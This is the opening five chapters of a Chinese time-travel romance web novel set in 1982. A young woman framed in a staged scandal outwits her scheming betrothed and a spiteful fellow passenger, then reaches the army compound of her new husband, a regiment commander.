《娇妻太野,长官他栽了》 第1章 穿越八零:当场被捉奸? “痛...” 周柒柒睡的正香,忽然感觉后背一阵火辣辣的疼,像是狠狠摔了一跤。 她迷迷糊糊的睁开眼睛,瞧见眼前是一间灯光昏黄的浴室。 门口站着个男人,正居高临下的看着她。 男人刚洗过澡,肩上随意搭着块浴巾,没擦净的水珠贲张的胸肌蜿蜒而下,在腹肌沟壑处汇成细流,将军绿色涤卡裤面洇出深色水痕。 腰侧,一道狰狞的旧伤疤蛰伏随着男人的呼吸一起一伏。 “你...” 男人薄唇珉成一条直线,喉结在阴影里重重滑动,眼中寒星闪烁。 周柒柒鼻腔发热,咽了咽口水,鬼使神差的伸出手。 “信女一辈子积德行善,梦到这么极品的男人,也是应该的!” 可刚碰到男人冰冷皮肤的瞬间,身后的门“砰”的一声被撞开了。 她下意识的往男人怀里钻,就听到身后传来一阵刺耳的叫嚷声。 先是一个男人,“周柒柒!你可是我许家的童养媳,咋能和别的男人搂搂抱抱?” 接着是一个女人,“沈淮川!你你你...你不是来找我打结婚报告的吗,这是在干啥?!” 啥情况? 周柒柒扭头看向门口,只见一男一女站在那儿鬼哭狼嚎。 他们一个穿着深蓝色的工装,一个穿着过时的碎花裙。 身后,还围着不少看热闹的人,对着她指指点点,眼神里满是鄙夷。 这梦...也太刺激了吧? 她在梦里,居然是有夫之妇? 还被“捉奸在床”了?这也太离谱了! 她甩了甩头,想赶快从梦里醒来,却心里却莫名涌起一阵强烈的悲痛。 紧接着,大段不属于她的记忆一股脑地涌入脑海。 这些记忆来的太突然,她根本来不及消化,眼前一黑,就昏死过去了。 在失去意识前,似乎有一对有力的胳膊把她抱在了怀里。 ...... 再次醒来,已经是第二天早上了。 地点也不再是宾馆,而是充斥着消毒水味道的医院。 昏迷了这么久,周柒柒已经大致清楚发生了什么。 昨晚的一切不是梦。 而是她熬通宵后,穿越到了1982年,一个和她同名同姓的女人身上。 周柒柒是重组家庭里的小孩,爹不疼,娘不爱,从小就独立,接受能力强的不得了。 知道自怨自艾没有用,过好自己当下的生活才是最重要的,很快就接受了原身的记忆。 了解完原身的经历,她真想在原身脑门上刻一个惨字。 其实原身小时候,过的还算幸福。 母亲是村里的小学老师,父亲是猎户,父母疼她都疼到心坎里去了。 但七岁那年,父母接连重病,家里又没别的亲戚。 临终前,母亲将她托付给了邻居许家,还把周家全家家当也都带了过去。 原身搬进了许家,成为了许家大儿子,大她五岁的许树的童养媳。 起初,看在家当的份上,许家对原身还算照顾。 但许家孩子多,挣的工分根本填不饱这么多张嘴。 渐渐的,许父和许母就变了脸。 他们把原身当成了家里的丫鬟,不仅让她给全家人做饭,把重活累活也全都丢给她干。 稍有不顺心就是一顿打骂,连饭都不给吃。 好在许树对她还算不错,经常偷偷给她留吃的,还会带着她出去抓鱼,逮知了。 就这样过了七年,许树十九岁那年,被省里建筑队招工,去城里工作了。 刚开始,他逢年过节还会回家看看。 可后来,建筑队到处跑工程,他也跟着天南海北地跑,除了偶尔往家里寄钱,就再也没过家。 原身十八岁,许母急着让俩人结婚抱孙子,给许树写了十几封信,他都以忙为由推脱。 一直拖到原身二十岁,许母等不及了,让原身千里寻夫,还要求她揣个崽回来。 原身经历艰难找到了许树,约在宾馆见面。 可谁能想到,当晚,她走错了房间,和另一个男人被当众“捉奸在床”。 出了这种事,原身觉得自己“不干净”了,就跟许树提出解除婚约。 许树以娘家人的身份,逼着那个男人对原身负责。 巧的是,那个男人也是来宾馆见自己未婚妻的。 他的未婚妻目睹了那一幕后,两人的婚事也吹了。 那个男人答应娶原身,但却说自己还有任务没完成,只留下了一封信,和身份证明,让原身去部队找他。 这十三年来,原身一直把许树当成自己生活里唯一的光,哪能接受这样的结局。 她在羞愤之下,直接自尽了。 就是在这种情况下,周柒柒穿了过来。 可能是时空波动,她穿越过来的时间稍微早了一些,穿到了被“捉奸在床”的当场,但情况大致没变。 她昏倒后,除了她以外的当事人,已经把这事儿盖棺定论了。 现在的情况是,她睡了一整晚,那个军官已经走了,只有许树守在她的病床前,等着和她说清楚后,然后送她去部队。 “柒柒,你醒了,感觉咋样?头还疼不疼?” 见她眼皮动了,许树连忙关切地问道。 周柒柒睁开眼,定定的看向许树。 七年不见,许树比她记忆里白了不少,穿着一件崭新的的确良衬衫,短发被发蜡珉的油光水滑,一双桃花眼微微上挑,眼角蒙着一层雾蒙蒙的水光,看什么都十分深情。 原身估计就是是被他这幅皮相给骗了。 还真以为是自己对不起许树。 可当局者迷,身为旁观者的周柒柒却门清的很。 昨晚,她和那个男人,都来找结婚对象,一个房号是6,一个房号是9。 她明明拿着9号的钥匙,却能打开6号的门。 当时男人正在洗澡,她在开门的时候正好被人撞了一下,两人好巧不巧撞到了一起。 又偏巧,这个时候,许树和那个未婚妻都回来了,亲眼见证这一幕。 世界上哪有那么多巧合? 且昨晚她看的分明,许树和那个男人未婚妻,挨得很近,手都快牵上了。 要知道,这可是1982年,就算是看热闹,未婚男女之间也不可能靠那么近。 她怀疑,这两个人认识,但仅仅是怀疑还不够,她轻声开口道。 “我没啥事,就是有点口渴。” “我给你倒水!” 许树一听,赶忙从暖瓶里倒了一搪瓷缸的温水。 周柒柒一晚上没喝水,渴的厉害,接过水就小口小口的喝起来,一直没停。 许树还以为她心里内疚,不好意思开口,赶忙拉起她另一只手安慰道。 “柒柒,发生这种事情谁都不想的,咱俩从小一起长大,我还能不了解你吗?我不会嫌弃你的。以后就算你嫁出去了,我也还是你娘家人,是你哥,我都给你准备好嫁妆了...” 周柒柒有些嫌弃的抽回手,却眼尖的瞧见许树左手手腕上,戴着一根黑色的“电话线”发圈。 她穿越前在时尚杂志上看到过,八十年代,刚刚改革开放,这种弹性材料才刚从港台那边传入大陆,可贵了,至少得一块钱一根,能买六斤多粮食了。 这可不是一般人能买得起的。 而且,她没记错的话,昨晚站在许树旁边那个女人,头上戴的就是这种发圈! 看来这俩人不但认识,这女人很有可能,还在暗暗跟她宣誓主权呢! 周柒柒唇角勾起一抹坏笑,拉住许树的袖子,一脸惊喜道。 “太好了,许大哥!既然你不嫌弃,那咱俩结婚吧!” (不会和渣男纠缠的,宝子们放心看) 第2章 敲诈黑心竹马,军婚路开启 “你说啥?” “结婚???” 许树整个人都僵住了。 在他印象里,周柒柒这个童养媳,性格唯唯诺诺,他说啥就是啥,还总觉得自己做的不够好,成天把“对不起”挂在嘴边,没什么自己的主意,脑子也不太灵光。 在他的计划里,周柒柒应该是一句话都不会反驳,并且十分难受,觉得自己配不上他了。 再怎么说,也不可能舔着脸继续跟他结婚。 “柒柒,你是不是睡迷糊了?你忘了,昨天晚上,你和那个沈淮川,你们两个...” 他比划了一个搂搂抱抱的动作,试图提醒周柒柒按剧本走。 “我知道啊!” 谁知周柒柒却点了点头。 “可许树哥不是说不在意,也不嫌弃我吗?这咋就影响咱俩结婚了?” 她一脸懵懂,眨巴着大眼睛,看上去无辜极了。 许树吞了吞口水,满脸的不可置信。 “可是,宾馆里好多人都看到了,沈淮川从小定亲的未婚妻也瞧见了了,他俩婚约都解除了,沈淮川也答应娶你了,这事已经定下了!” “咋就定下了?我的婚事,没问过我的意见就定下了?这不合适吧?” 不等许树说完,周柒柒就打断了他。 “我不同意!” “我是许树哥的童养媳,爸妈让我来这一趟,就是为了和你结婚,这是天经地义的!那个沈淮川愿意负责任,就让他对他未婚妻负责好了!” 说到这里,她顿了一下,理所当然道。 “至于昨晚的事,就当没发生过!” 许树一听就急了,脱口而出道。 “那哪儿行啊!昨晚宾馆里有不少瑶瑶单位的人,她们都看到了,要是瑶瑶嫁过去,不得被人笑话一辈子啊!更何况瑶瑶她...” 说到一半,他才反应到自己说错了话,赶忙闭上嘴。 周柒柒早就听出不对劲了,也没打断他,就一直似笑非笑的看着他,这会儿才凉凉的开口。 “瑶瑶?叫的挺亲热啊,怎么,许树哥,你认识沈淮川的未婚妻?” “不,不认识,就是昨晚出事后说了几句话而已,知道她叫林瑶而已...” 许树连忙否认,心虚的舔了舔唇道。 “哦?是吗?” “我还以为许树哥和林瑶,两个有婚约的人搞到一块儿了,又不想被人指着脊梁骨骂,所以设计我和沈淮川,好正大光明的换婚呢?” 计划被戳破,许树后背冒出了一层冷汗,浑身直发抖,指着周柒柒大骂。 “你...你...你胡说什么?!你这是造谣!污蔑!” “我告诉你!你的户口本我昨晚就交给沈淮川了,这会儿他的结婚报告应该已经打上去了,你现在说啥都没用!别想着坏事!” “别急嘛,许树哥,我就随口一句,你咋还急眼了?” 这些事周柒柒早就心里有数,一点儿也不急。 她低下头,长长的睫毛忽闪了几下,想了半天,开口道。 “我也没想坏你的事,你想让我嫁给沈淮川,也不是不行...” ------------------------------ 几个小时后,周柒柒已经出现在了火车站。 站台上挤满了扛着麻袋的旅客,人群像潮水一般往车门涌,好多人的行李都被挤散了,吵吵嚷嚷半天上不了车。 这让周柒柒庆幸自己除了一个小包袱外,什么都没带。 她灵活的在人群中钻来钻去,顺利找到了自己的座位坐了下来。 列车很快开动了,车厢里汗味和煤烟味混在一起,熏的人难受,但周柒柒车票买的晚,只买到了靠走廊的位置,也只能强忍着。 走廊上人来人往,还有不少买了站票的人等着占座位,她得小心看护好自己的小包袱。 里头可是有一百块零五毛巨款呢! 这趟出门前,许母李桂香给了三块钱,买完车票就剩五毛。 另外一百块,是她刚刚找许树要的“嫁妆钱”。 早上在和许树对质的时候,她就一直在琢磨,自己该咋办。 现在许树摆明了不想娶她。 她也看不上许树这个油头粉面的渣男。 摆在她面前的路,只有两条,一条是回许家村,一条是留在城里。 第一条,周柒柒是打死都不会选的。 原身这十四年在许家过的比猪狗还不如,那还是把她当儿媳妇的前提下。 现在婚约解除了,许家肯定不会再收留她,就算收留,也只会把她当成摇钱树,找个有钱的把她嫁了,狠狠捞一笔彩礼。 去年村里的老鳏夫娶小媳妇,光定钱就给了十块,李桂香眼馋的不行,一度生出将原身嫁人的想法来。 还是许铁生坚持要履行定好的婚约,李桂香才作罢。 许家她是不会回去的,周家原先的房子倒是还在。 可她家人都没了,她一个穿越过来的人,又不会种地,回村根本没活路。 还是留在城里讨生活靠谱点。 不过现在的政策,不允许盲流进城,没城里的户口,找不到地方住,更找不到工作。 她想留下来,只能先去部队找沈淮川。 她的户口本在沈淮川那儿,结婚申请估计也像许树说的那样,已经交上去了。 其实她现在的身份,已经算是军嫂了。 在这个年代,破坏军婚是大罪,她可担不起! 凑活过呗,刚结,还能马上离不成? 另外还有一个不太重要的小原因,那就是沈淮川这个人。 她俩都坦诚相对过了,他是不是好人,她能看不出来吗?? 嫁给他,怎么着也比嫁给许树强一万倍! 可是这样一来,就正好如了许树的意。 他害死了原身,周柒柒当然不会就这么轻易放过他。 许树这人从小就不聪明,脑子转的也不快,属于治好了也会流口水那种。 一番敲打后,她就把许树原本打算给原身的五块钱嫁妆,翻了二十倍,变成了一百块。 这可是许树一年的工资,给钱的时候,许树的表情别提多痛苦了。 现在想起来,周柒柒心里那叫一个畅快!! “同志,别傻笑了,收收脚!” 她正乐呢,列车员路过,没好气的提醒道。 “不好意思。” 周柒柒吐了吐舌头,赶忙将脚收了回去。 列车员推着小车,车上整整齐齐摆着一排铝制饭盒,饭菜的香味飘了出来。 这个年代的火车餐可不是预制菜,都是厨师在餐车现炒的,掌勺的大师傅们也都是来自各大酒楼的大厨。 就是价格有点贵,米饭一毛钱一碗,素菜三毛五一份,荤菜五毛起步。 要知道,普通工人一个月工资才三四十块,没几个人舍得这么花钱吃饭的。 可周柒柒就不一样了,她是享乐主义。 钱没了可以再赚,当下的遗憾却是无法折返回来弥补的。 她当即掏了一块二毛五出来,买了一份米饭,又要了辣子鸡和番茄炒蛋,美滋滋的饱餐了一顿。 吃完没多久,她就昏昏沉沉的睡着了。 不知过了多久,有人大力推她: “妮儿,快醒醒,你包袱被偷了!”(女主不会吃亏的,别怕) 第3章 敢偷你姑奶奶我?吃屎去吧! 周柒柒被人推醒时,眼皮还黏在一起。 “妮儿,快醒醒,你包袱让人给偷啦!” 见她还一脸迷糊,旁边的大婶又扯着嗓子提醒了一遍。 周柒柒这才彻底清醒过来,心里”咯噔“一下,赶忙看向自己怀里。 她记得睡觉前,包袱是被她紧紧抱在怀里的,这会儿倒好,滑落到腿上,没了任何防护。 再瞧那包袱,上头的死结还系的牢牢地,可边缘却被划了个大口子,里头打着补丁的布褂也遭了殃,被划破了,半截袖子在包袱外头晃荡。 她火急火燎地打开包袱皮,果不其然,里头的手绢没了影。 刚才她买盒饭的时候,那手绢可是鼓鼓囊囊的,她还从里头掏出一张十块钱大钞呢,列车员找零都找了老半天,周围人可都瞧在眼里。 这下手绢没了,也就意味着她丢了一大笔钱。 就在这时,车厢里另外有几个人也扯着嗓子嚷嚷开了,他们也被小偷偷了。 “去去去,赶紧麻溜地找巡警报案去!” 在众人的提醒下,周柒柒去找了巡警。 可没一会儿,她就灰溜溜地回来了。 “咋样啊?” 大婶满脸关切地问道,周柒柒轻轻摇了摇头。 这个年代,火车几乎是人们长途出行的唯一方式,人多得跟下饺子似得,密密麻麻,流动性还特别大。 可安保人员呢,少得可怜。 小偷混在人群里作案,跟泥鳅似的,滑不溜秋,哪那么容易抓住啊。 除了周柒柒,刚才还有十几个人都去报案了。 巡警帮他们登记了资料,说要是抓住了小偷,会联系他们来取回失物。 但大家心里都清楚,没啥希望。 听她这么一说,周围人立马议论纷纷。 有的替她可惜,摇头叹气的;有的却幸灾乐祸,嘴角挂着一抹不怀好意的笑; 还有的嗑着瓜子,瞧得津津有味。 周柒柒都没放在眼里,跟大婶道了声谢,就准备坐下。 却听那个大婶一拍大腿,指着她道。 “这事儿啊,都得怪你自个儿!” 众人都跟小鸡啄米似的,纷纷点头表示赞同。 “婶子,你说这话,是啥意思?” 周柒柒可没想到,这矛头最后居然指向自己这个受害者,整个人都懵圈了,一脸茫然。 “你是随军家属吧?新媳妇?我刚才瞧见你掀包袱的时候,里头有张通行证,上头印着八一徽呢。” 大婶挑眉问道,语气不善。 好家伙,这大婶眼睛真够尖的,还专往别人包袱里头瞧。 周柒柒没吭声,只在心里暗暗吐槽。 “我说对了吧?” 大婶见她没否认,那叫一个得意,跟打了胜仗似的,从口袋里抓出一把瓜子,”咔擦咔擦“地磕了起来,边磕边说。 这些话她刚上车就想说了,憋了半天,终于有机会了。 “瞧你这身行头,跟婶子我一样,指定是农村出身!衣服上那么多补丁,但做起事来咋就一点没有咱农村艰苦朴素的劲儿呢?一看就不像是会正经过日子的好媳妇!” “好不容易手里有点钱,就恨不得马上吃了,又是辣子鸡,又是炒鸡蛋的,嘴咋就那么馋呢!你花的可是你男人在外头抛头颅,洒热血,拿命挣回来的钱呐!你咋能说花就花,一点儿不心疼呢!这不是寒你男人的心嘛!” “再说了,财不外露,这点道理你都不懂?十块钱,说拿出来就拿出来,显着你有钱了?小偷不偷你偷谁呀?” 大婶啐了一口瓜子皮,斜着眼道,语气别提有多冲了,“所以我说啊,你这就是活该!” 周柒柒攥着破包袱的手指节发白,低着头半晌没有言语。 “瞧瞧,这会儿知道害臊了吧!” 大婶指着周柒柒,笑得那叫一个大声。 周围人也跟着瞎起哄,都在指责周柒柒。 在他们眼里,军嫂就应该艰苦朴素,怎么能吃那么贵的火车餐呢! 这可把大婶得意坏了,感觉自己一下子成了这车厢里的意见领袖,胸脯挺的老高。 周柒柒这才抬起头来,脸上挂着一抹冷笑。 她可不是无地自容,而是被大婶这厚颜无耻的歪理给气笑了。 这会儿她笑够了,挺直了腰杆,毫不退缩的直视着大婶的眼睛,质问道。 “婶子,您咋就这么肯定,我这钱是我男人给我的?这是我自己的,我花我自己的钱!咋滴,在您眼里,我是农村妇女,就不能自己挣钱啦?主席都说,‘妇女能顶半边天’,您这是要和他老人家对着干?” 这话一说出口,车厢里瞬间安静下来,刚才还叽叽喳喳的议论声,一下子全没了。 “你你你...” “你少给我扣大帽子!谁能证明这钱是你自己挣的,那么多钱,咋可能?你当大家都是傻子啊!“ 大婶可没想到,这小媳妇还敢顶嘴,指着周柒柒,蛮横地嚷嚷着,还拉着车厢里的人一起,试图压制她。 周柒柒一点儿也不慌,转向整个车厢,声音清亮的像广播站的女播音员。 “我没证明,但是,就算这钱是我男人给我的,他保家卫国,流血流汗挣的钱,不就是为了让我,让广大人民,别再过以前的苦日子嘛?我吃点好的,不正好顺了他的心意吗?这有啥不对的?大家累死累活,奔波挣钱,不就是图这个吗?” 这车厢里鱼龙混杂,啥人都有,但都是奔波在路上的辛苦人,听到她这话,都不由自主地默默点了点头。 赚钱,可不就是为了让日子过得舒坦点嘛,这点谁都没法反驳。 众人这会儿看周柒柒得眼神,已没了刚才鄙夷,周柒柒满意的转身,看向大婶。 “至于您说的财不外露,小偷偷东西,那是他们道德败坏,和我有啥关系?照您这歪理,戴棉帽子的活该被抢帽子,穿胶鞋的合该让人扒了鞋?那您干脆光着身子坐火车,那才安全呢!” 车厢里响起零星的耻笑声,众人纷纷朝着大婶看过去。 大婶感觉浑身不自在,伸手裹紧了自己的布褂。 “牙尖嘴利!满口歪理!看我今天不收拾你!” 她涨红了脸,抡起袖子就准备冲上去和周柒柒干架。 周柒柒却跟个机灵鬼似的,扯着自己的小包袱灵活的躲到了座椅后头,还装作恍然大悟的样子,扯着嗓子大声嚷嚷道。 “哦,我明白了!您和那群小偷,是一伙的吧?说出这些歪理,是来混淆人民群众的思想,好让你同伙趁机逃跑的?” 这话一出,整个车厢一片哗然,立马有人回忆道。 “我想起来,这个大婶刚从我旁边路过没多久,我钱包就丢了...” “好像是这么回事!我也记得...” 众人一下子就把大婶包围了起来,非要她给个说法。 这可就不关她的事了。 周柒柒朝着大婶吐了吐舌头,拎起自己的包袱,潇洒的朝着车门走了过去。 G市站台的人潮中,周柒柒像条灵活的鱼,钻出重围。 她掏出五分钱,在车站旁边公用卫生间上了个厕所,顺道还检查了一下自己藏在裤腰上的钱。 九十九块两毛五,一分不少,全都都在。 她周柒柒又不是傻子,当然知道火车上小偷多了。 吃完饭去餐车还铝饭盒的时候,她就借了把剪刀,从包袱里拿出一件衣裳裁了块布,把钱兜住绑在了腰间,外头还罩了两层衣裳,没小偷能偷的到。 至于那块装钱的手绢嘛... 【嘻嘻~~敢偷你姑奶奶我,吃屎去吧!】 男人刚把几个小偷制服,一低头,瞧见地上掉落的手绢,顺手就捡了起来。 只见里面装着一张字条,上头画着一坨便便。 画的巨大无比,惟妙惟肖,还画了几只苍蝇围在旁边,跟真的似的,让人不往那方面联想都难。 男人脸色一下子就沉了下来。 他身后,几个乘警急匆匆赶了过来。 “同志,太感谢你了!这几个小偷可都是练家子,要不是帮忙,我们还真抓不住!看您架势,是军人吧?!” 还没等男人开口,他身后的勤务兵就抢着点了点头,一脸自豪道。 “没错,这是我们团长,沈淮川!” 第4章 沈淮川就是我老公 “团长?” 几位乘警你看看我,我看看你,都是一脸的震惊。 毕竟沈淮川看起来,也就是二十五、六岁的样子。 这么年轻,居然都当上团长了? “那可不,如假包换!“ 勤务兵秦磊拍了拍胸脯,一脸的骄傲。 “我们团长立过好几个一等功!这次这个任务又完成的那么漂亮,再拿个二等功也不是问题...” “石头!” 沈淮川抬腿踹了秦磊一脚,墨色瞳仁里凝着寒霜。 秦磊缩着脖子挠了挠头。 沈淮川转身对乘警们敬了个标准的军礼,皮靴踢了踢地上被捆成粽子的小偷。 “同志,这是最后一个小偷了,都就交给你们。我们还有任务,先走了。” 他说话很有礼貌,可嗓音却像浸了冰碴子。 不等乘警们回应,他拎起搭在椅背的背包就要走,仿佛刚才出手擒贼的这事儿跟他没多大关系似的。 乘警们对这位身手矫健的军人都挺崇拜,想多跟他说几句,可又不太好意思,只能一个劲儿的说“谢谢”。 而沈淮川突然想起来手里的手帕,皱着眉一脸嫌弃的递过去。 “哦,对了,还有这个失物,请【一、定】还给失主。” 乘警队长接过手绢,想了想,说着。 “我记得,这是3车厢156C那个女同志丢的。她没有留电话和地址,估计是觉得找不回东西,不要了。” 沈淮川看着手绢里露出的“便便”,喉结动了动,正要开口,一个雀跃的声音却忽然插了进来——年轻乘警雷鸣,手里攥着张字条挤到跟前,双眼放光说道: “我刚才路过3车厢,看见156C下面掉了一截袖子,还有一张字条,应该就是那个女同志的,上头有地址电话,是G市海子湾军区家属院,和我舅舅家住在一块呢!交给我吧,我去联系,说不定能联系上!” 其他队员很少看到雷鸣这么积极的样子,打趣道。 “哟,雷少爷啥时候变得这么热心了?该不会是看上人家女同志了吧?刚才人车厢里吵架的时候,你眼珠子都粘人家身上了...” “嘿嘿...” 雷鸣挠了挠头,没有否认。 刚才那姑娘和大婶吵架的时候,他全看见了,虽然没听见她们说什么,也不知道谁有理,但远远瞧着,那姑娘又机灵又能说,鲜活的像只百灵鸟,一下子就把他吸引住了。 他活了二十二年了,还是第一次有心动的感觉,也许这就是一见钟情吧? 在众人揶揄的笑声里,雷鸣红着脸就要把字条揣进兜里,却忽觉指尖一空。 不是别人,正是刚才着急要走的沈团长。 雷鸣马上就变了脸色,“沈同志,你怎么抢东西呢?” 石头盯着那张字条,一脸茫然,“团长,这不是你的字吗?” 沈淮川没有回答,沉着脸,捏着字条的手指节发白,抬头看向雷鸣。 “不好意思,同志,这东西我去还就好。” 他目光冷冷的,像是淬了火的刀,雷鸣下意识地后退半步,有点害怕。 但一想到那个一见钟情的姑娘,他还是壮起了胆子。 “这样不太好吧,沈团长?这是我们乘警的工作,怎么能交给您呢?我们有规定,除非是特别亲近的人,不然...” 话还没说完,沈淮川已经把字条收到胸前的口袋,凉凉开口道。 “她是我媳妇,算不算亲近?” ...... 下一站到站后,沈淮川就下了车。 平常任务完成后,就算是有接应的人,他也会跟着把目标押回军区。 可这次不一样,他提前下了车,把交接工作都交代给了石头。 秦磊一一听完。 看着沈淮川在暮色中快步走出站台,身影很快消失,忍不住自言自语。 “团长有媳妇儿了?谁啊?啥时候的事儿?我咋不知道?” 这时,乘警雷鸣也看着沈淮川离开的方向,恰好听到了这句话,刚才沮丧的心情又重新活泛了起来。 “阿嚏!” 正被念叨的周柒柒猛地打了个喷嚏,看着前面黑黢黢的路,委屈地皱了皱鼻子。 她也太倒霉了! 居然把写着地址电话的字条给弄丢了! 想了想,估计就是和那个大婶吵架的时候,不小心她碰掉的。 她队这儿人生地不熟,本来打算下车后,找个公用电话,让部队的人来接她。 这下可好,全泡汤了。 好在那字条她看过两遍,大致还记得地址。 她在公交车站问了路,往那个方向坐到了城郊,然后又在路上拦了俩牛车,让人家捎她一段。 可到了最后一段路,她记不太清了,在路上转来转去,一直转到天黑。 驾牛车的大爷都回家了。 她没办法,只能用双脚来走。 这一走就是一两个小时,脚都麻木了。 就在她以为没希望的时候,前面终于出现了一大片房子,门口有个大大的红五角星,上面写着“八一”。 没错,就是这儿了! 周柒柒一下来了精神,赶忙跑过去,把沈淮川的身份证明给了门口站岗的哨兵。 哨兵打了电话,回话说沈团长不在,帮她先去军属区喊个人过来,先把她接过去。 “太好了,谢谢!” 周柒柒总算有了盼头,开开心心的坐在传达室等着。 没一会儿,就听见一阵脚步声,还传来一个大嗓门女人的声音。 “真来了!太好了!沈团长说去打结婚报告,没想到这么快就上门了!” “沈团长不在没事,她媳妇我熟的很!我先领她上我家住去!” 刚开始,周柒柒听着这热情的话,心里挺高兴。 可听着听着,脸色就变了。 “臭妮子(坏大婶),咋是你?!” 木门“吱呀”晃开的瞬间,两人的视线在半空撞出火星子。 还真是不是冤家不聚头! 没错,这个来接待她的,正是火车上碰到的那位刻薄大婶。 大婶叉着腰,眼里几乎喷出火来。 她可忘不了火车上那一幕——周柒柒三言两语就让她成了全车厢的笑柄,乘警甚至查了她半天行李! 她上上下下打量周柒柒,一脸嫌弃,撇着嘴说。 “她说,她是沈淮川团长的媳妇儿?这不可能!” 沈淮川的未婚妻她认识,叫林瑶,是她丈夫的远房侄女。 两个人从小定的娃娃亲。 林家杏林世家,林瑶也学医,之前因为上学的原因,两人的婚事一直拖着没办。 今年林瑶在省会军区医院的实习就要结束了,两家家长急着让两人结婚。 年前林瑶母亲就给她打了电话,让她帮忙促成这事儿,她可没少出力,在丈夫跟前吹了不少枕头风。 好不容易说动了沈淮川,让他去找林瑶扯证,这会儿居然来了个冒充沈淮川媳妇儿的?! 林瑶可是城里的大学生,大高个,穿着格子裙,扎着蝴蝶结,别提多洋气了。 周柒柒这副土里土气的矮地瓜样儿,还想冒充? 太滑稽了! 大婶心里有底气,大声嚷嚷道,“警卫员同志,千万别信她!她应该是个骗子!” 说着就把火车上的事儿添油加醋的说了一遍。 在她嘴里,她变成了见义勇为的好心人,周柒柒丢了东西不服气,把火气全撒在了她身上,就是个蛮不讲理的泼妇。 大婶上下打量了一眼周柒柒,十分肯定的说,“她就绝对不可能是沈团长的媳妇!” 警卫员有些摸不着头脑了,“可是,她手里有沈团长的身份证明啊。” 这话让大婶有些意想不到,不过她还是十分坚持自己的想法,灵光一闪的解释道。 “我知道了,我知道了,她不仅是个骗子,还是个小偷,沈团长的身份证明,估计也是她偷的!” 这下全捋顺了,大婶把自己给说服了,一口咬死了,周柒柒是小偷加骗子,来军区,估计目的不纯。 警卫员有些为难,大婶说的言之凿凿的,可他看着周柒柒不像坏人,只能追问她。 “同志,你有结婚证,或者还有别的人能给你证明吗?” 这里可是军区,如果这两样都没有的话,还真就只能先把她扣押起来了。 结婚证? 周柒柒还真拿不出来这玩意儿。 而且她的沈淮川结婚这事,在军区里,除了他们俩,谁都不知道。 她想辩解,又不知道咋说,只能摇了摇头。 这可正中了大婶的下怀,当场就张罗着要让保卫科的人把她关进小黑屋子里,好好审问审问。 “说不定她是敌特呢!” 周柒柒委屈巴巴的蜷在警卫室的凳子上,睫毛忽闪忽闪的,有点想哭。 走了两个小时的路,她现在又饿又渴,实在没力气和大婶掰扯。 过了不一会儿,一阵脚步声传来,一束高大阴影笼罩在她身上。 她还以为是来抓她走的,扁着嘴巴小声道。 “我真没骗人,我就是沈淮川媳妇儿!沈淮川就是我老公!” “你...” 听到这个声音,周柒柒忽的抬头,只看到一个英气十足,俊朗硬挺的男人正居高临下的看着她。 他逆光而立,肩线绷成一道锋利的刀刃,将周遭的嘈杂切开来,世界仿佛就剩下他们二人。 男人眼中闪着一抹寒光,还有一丝不易察觉的别样情愫。 是他! 周柒柒的心控制不住的狂跳起来。 第5章 周柒柒就是我爱人 “沈淮川!” 周柒柒赶忙站起身来,她一眼就认出来,这位就是他那个便宜老公,现在唯一能证明她身份,能解救她的人! 她心里又惊又喜,可看着他身上那身军装,却又忍不住一阵心酸。 要不是为了来军区找他,她也不至于这么惨,心里顿时又觉得委屈的不行,别着嘴,给了他一拳,抽抽嗒嗒道。 “你怎么才来?” 但她忘了,沈淮川可是军人,胸膛梆梆硬,这一拳头下去,人家眉头都没皱一下,她倒是被震的手背生疼,一个踉跄就要向后倒去。 就在这个时候,一双坚实有力的臂膀伸了过来,将她拦腰圈起。 和上次她在宾馆晕倒时的情形一模一样。 但不同的是,这次的周柒柒,是完全清醒的。 警卫室的灯光,亮的如同白昼,她能清楚的看到他的脸。 和油头粉面、滥情秀美的许树不同,沈淮川是标准的硬汉脸。 一头标准的寸头干脆利落,古铜色的皮肤健康又性感,眉眼锋利,五官冷硬,紧珉的薄唇下,青色胡茬若隐若现。 配上他那副荷尔蒙爆棚的身材,周柒柒不自觉的脸红心热。 这个男人,好像总在自己最需要的时候,给予她怀抱。 正在这时,门口的大婶带着保卫科的人过来,听说沈淮川回来了,一边往里走,一边恶人先告状。 “沈团长,你回来的正好!来了个骗子,居然冒充你媳妇儿!说你是他老公!” 话刚说到一半,就看到警卫室里姿势亲昵的两人,顿时结巴了起来。 “你你你...她她她...你们在干什么?!” 身后几个保卫科的军人,看到这一幕,也都愣住了。 他们可都认识沈淮川,这位可是他们军区出了门的“冷面阎王”,不仅在训练中十分严厉,而且完全不近女色,之前文工团的团花找他搭讪,都被他给吓哭了。 可是现在,她居然和一个女人抱在一起! 这可是天下奇闻! 几个保卫科的军人全都围上前来看热闹。 周柒柒这会儿反应过来,赶忙从沈淮川怀里起身,红着脸拽了拽身上的衣裳。 别看她每次遇到沈淮川都这么嚣张,可骨子里,却还是个母胎SOLO,连男人的手都还没牵过呢。 大婶心里有些虚了,“你们怎么回事?难道说,你真是...?” 周柒柒用胳膊撞了撞身旁的沈淮川,“诺,你来说。” 这回她学聪明了,没用多大力气,撞完就顺势倚在了沈淮川身上,这招就叫狗仗,啊不,应该说是借力打力。 沈淮川明显还在愣神,被她这一撞才清醒了过来,一双狭长锋利的丹凤眼在周柒柒身上转了转,不动声色的往前半步,将她护在身后,又转向众人,冷声开口道。 “她叫周柒柒,是我...爱人没错。” 他声线低沉,像是石头投入深潭,在周柒柒心湖荡开一圈圈涟漪。 爱人? 她还从来没听到有人这么称呼过自己。 她记得,老一辈的人,好像都这么称呼自己配偶的,含蓄又庄重。 她还以为,沈淮川不是这么快承认呢,没想到,他不仅承认了,而且还这么郑重。 大婶傻眼了,“可是,你爱人不是瑶瑶吗?你们从小定的娃娃亲啊,沈团长,你是不是弄错了?” 周柒柒有人撑腰,说话都有底气了,胸脯挺的高高的,嘴角勾起一抹笑意,歪着头呛声道。 “婶子,你的意思是,你比沈淮川还清楚他媳妇是谁咯?” “要不然,把沈淮川抓进小黑屋去,审问审问?” “不不不,我不是那个意思!误会,都是误会!” 大婶赶忙冲着沈淮川摆了摆手,额头上冷汗直冒。 她哪儿敢啊! 这位沈团长可是他们军区的活阎王,比她丈夫还高一级,她可得罪不起。 可连带上火车上那次,她这是第二次被周柒柒戏弄了,脸上红一阵白一阵的,昏黄的眼珠子溢满了怨恨,藏都藏不住。 这时,一直在旁边看戏的保卫科科长廖爱民推了推玳瑁眼镜,目光在纪几人身上转了转,开口了。 “沈团长,邱婶子,九点多,也不早了,既然是误会,那就都赶快回去吧!” 